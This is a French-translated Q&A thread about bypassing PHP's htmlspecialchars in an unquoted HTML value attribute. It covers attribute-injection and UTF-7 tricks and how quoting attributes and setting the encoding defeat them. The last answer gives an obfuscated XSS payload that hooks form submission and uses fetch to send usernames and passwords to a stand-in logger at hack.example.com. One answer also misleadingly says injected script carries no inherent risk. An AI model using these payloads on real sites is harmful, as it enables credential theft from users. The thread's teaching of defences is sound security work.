web-dev-qa-db-fra.com

Attaque XSS pour contourner la fonction htmlspecialchars () dans l'attribut value

Disons que nous avons ce formulaire, et la partie possible pour un utilisateur d'injecter du code malveillant est la suivante

...
<input type=text name=username value=
       <?php echo htmlspecialchars($_POST['username']); ?>>
...

Nous ne pouvons pas simplement mettre une balise ou un javascript: alert (); , car la valeur sera interprétée comme une chaîne et htmlspecialchars filtre les <,>, ', ", nous ne pouvons donc pas fermer la valeur avec des guillemets.

Nous pouvons utiliser String.fromCode (.....) pour contourner les guillemets, mais je n'arrive toujours pas à faire apparaître une simple boîte d'alerte.

Des idées?

23
Setzer

De plus, il est important de mentionner que permettre aux gens d'injecter du HTML ou du JavaScript dans votre page (et non dans votre source de données) ne comporte aucun risque de sécurité inhérent. Il existe déjà des extensions de navigateur qui vous permettent de modifier le DOM et les scripts sur les pages Web, mais comme c'est uniquement côté client, ce sont les seuls à le savoir.

Lorsque XSS devient un problème, c'est lorsque les gens a) l'utilisent pour contourner la validation côté client ou le filtrage d'entrée ou b) lorsque les gens l'utilisent pour manipuler les champs d'entrée (par exemple, changer les valeurs des balises OPTION dans une ACL pour leur accorder des autorisations qu'ils ne devrait pas avoir). La SEULE façon de se prémunir contre ces attaques consiste à filtrer et à valider les entrées côté serveur au lieu ou en plus de la validation côté client.

Pour nettoyer HTML hors de l'entrée, htmlspecialchars est parfaitement adéquat, sauf si vous VOULEZ autoriser certaines balises, auquel cas vous pouvez utiliser une bibliothèque comme HTMLPurifier. Si vous placez une entrée utilisateur dans HREF, ONCLICK ou tout autre attribut autorisant le script, vous demandez simplement des problèmes.

EDIT: En regardant votre code, il semble que vous ne citez pas vos attributs! C'est assez idiot. Si quelqu'un a mis son nom d'utilisateur comme:

john onclick="alert('hacking your megabits!1')"

Ensuite, votre script serait analysé comme suit:

<input type=text name=username value=john onclick="alert('hacking your megabits!1')">

TOUJOURS utiliser des guillemets autour des attributs. Même s'ils ne sont pas entrés par l'utilisateur, c'est une bonne habitude à prendre.

<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
15
Daniel

Il y a une façon. Vous ne passez pas htmlspecialchars () le troisième paramètre d'encodage ou ne vérifiez pas l'encodage correctement, donc:

$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

Ne fonctionne que si vous pouvez a) configurer la page pour qu'elle émette UTF-7 ou b) inciter la page à le faire (par exemple iframe sur une page sans jeu de caractères clair). La solution consiste à s'assurer que toutes les entrées ont le codage correct et que le codage attendu est correctement défini sur htmlspecialchars ().

Comment ça fonctionne? Dans UTF-7, les caractères <> "ont des points de code différents de ceux de UTF-8/ISO/ASCII afin qu'ils ne soient pas échappés à moins de convertir la sortie en UTF-8 pour plus d'assurance (voir l'extension iconv).

10
padraicb

value est un attribut HTML normal, et n'a rien à voir avec Javascript.
Donc, String.fromCharCode est interprété comme une valeur littérale et n'est pas exécuté.

Pour injecter un script, vous devez d'abord forcer l'analyseur à fermer l'attribut, ce qui sera difficile à faire sans >'".

Vous avez oublié de mettre des guillemets autour de la valeur de l'attribut, vous n'avez donc besoin que d'un espace.

Même si vous citez la valeur, elle peut toujours être vulnérable; voir cette page .

1
SLaks

Un peu similaire à la réponse de Daniel, mais sortant du value= en définissant d'abord une valeur fictive, puis en ajoutant des espaces pour insérer le script qui s'exécute directement par une astuce avec autofocus, en définissant le champ de saisie vide, puis en ajoutant une fonction d'envoi qui s'exécute lorsque le formulaire est soumis, fuite du nom d'utilisateur et du mot de passe dans une URL de mon choix, création de chaînes à partir du prototype de chaîne sans citation (car les citations seraient filtrées):

<body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
0
Niklas